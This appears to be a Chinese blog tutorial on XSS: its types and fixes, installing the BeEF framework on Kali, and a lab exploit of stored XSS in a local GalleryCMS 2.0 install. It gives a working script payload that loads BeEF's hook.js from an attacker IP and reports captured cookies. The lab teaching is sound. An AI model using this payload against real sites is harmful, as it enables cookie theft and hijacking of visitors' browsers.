当前位置:网站首页>XSS漏洞分析
XSS漏洞分析
2022-07-29 11:41:00 【熬夜且瞌睡】
目录
1.1.Beefhttp://beefproject.com
1.2phpstudy_pro搭建网站GalleryCMS-2.0
1.了解XSS漏洞
XSS又叫CSS(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而
达到恶意的特殊目的。
利用我们所知道的各种黑魔法,向Web页面插入JS代码,让JS代码可以被浏览器执行,
访问该页面的用户则被攻击
1.1XSS漏洞的分类
1.反射型
非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上
2.存储型
XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里,此类型危害最大
3.DOM型
仅仅在前段页面进行操作的
1.2XSS漏洞修复方法
1.HTML实体编码
2.使用白名单过滤掉用户输入的恶意字符
3.根据业务场景对症下药
2.工具的安装使用
1.1.Beef
http://beefproject.com
一个挖漏洞项目,可以将它的hook.js通过XSS的方法被存储到某个网站,然后那个网站只要访问这个页面信息,那么整个网站就被监控了
Kali安装beef
输入以下命令
apt-get install beef-xss
根据提示输入以下命令
apt-get update
再次输入安装命令
apt-get install beef-xss
安装apt --fix-broken install
运行beef,输入beef-xss
至此beef安装成功
1.2phpstudy_pro搭建网站GalleryCMS-2.0
先将解压包解压到phpstudy_pro/WWW目录下面,然后找到文件application/config/database.php文件,修改文件中的数据库的用户名和密码为自己本机上的用户名和密码一致
以下是我的配置条件
3.存储型xss漏洞利用
打开kali,输入beef-xss开启beef服务,在kali上登录刚刚配置的网站
在物理机登录beef
刚开始进行绕过时会出现字符长度过长的问题(配置文件默认45个字符),修改数据库长度改成85
在网站创建相册名的输入框输入:
<script>$.getScript("//192.168.1.128:3000/hook.js")</script>
此时beef已经监听,查看beef
此时查看设备已经在线,可以看到已经拿到了服务端那里的cookie,并且可以任意修改网站的配置文件,危害十分巨大。
边栏推荐
- 基本.分块
- HMS Core Discovery 16 review | with tiger mound, embracing new AI "voice" state
- "Knowledge Collection" article to understand mysql index!!(recommended collection)
- Watch the open source summit first | quick view of the sub Forum & Activity agenda on July 29
- 北京大学公开课重磅来袭!欢迎走进「AI for Science」课堂
- [image detection] Research on cumulative weighted edge detection method based on gray image, with matlab code
- 基于flask写的一个小商城mall项目
- SkiaSharp of WPF custom painting to bounce ball (case)
- 593. 有效的正方形 : 简单几何运用题
- Great golang Road
猜你喜欢
共建共享数字世界的根:阿里云打造全面的云原生开源生态
LeetCode_容斥原理_中等_223.矩形面积
[image processing] image skeleton extraction based on central axis transformation with matlab code
惠及6亿人 投资98亿 沿江高铁武宜段最新进展来了!
three.js 报错信息 RGBELoader.js:46 RGBELoader Bad File Format: bad initial token
[image detection] Research on cumulative weighted edge detection method based on gray image, with matlab code
【图像检测】基于灰度图像的积累加权边缘检测方法研究附matlab代码
企业微信客户朋友圈一天可以发多少条?都有哪些限制?如何突破朋友圈可展示人数限制?
QT's user-defined interface (borderless and movable)
Out-of-the-box problem-solving thinking, putting a "rearview mirror" on the unconscious life
随机推荐
Collections.singletonList(T o)
【Unity3D】场景切换、退出全屏、退出游戏
黑马四小时入门学习记录-2|本地应用
2022年企业直播行业发展洞察
HMS Core Discovery第16期回顾|与虎墩一起,玩转AI新“声”态
Great golang Road
593. 有效的正方形
基于flask实现的mall商城---用户模块
Out-of-the-box problem-solving thinking, putting a "rearview mirror" on the unconscious life
Starrocks technology insider: how to have both real-time update and fast query
Pangolin库链接库问题
"Knowledge Collection" article to understand mysql index!!(recommended collection)
使用anyio替代asyncio
游戏合作伙伴专题:BreederDAO 与《王国联盟》结成联盟
Insights into the development of the enterprise live broadcast industry in 2022
QT's user-defined interface (borderless and movable)
Gbase8s core data backup
深入理解C# 进入快速通道的委托
INVALID_ARGUMENT : Invalid rank for input: modelInput Got: 3 Expected: 4 Please fix either the input
如何对SQuAD1.1数据集进行预处理「详解版」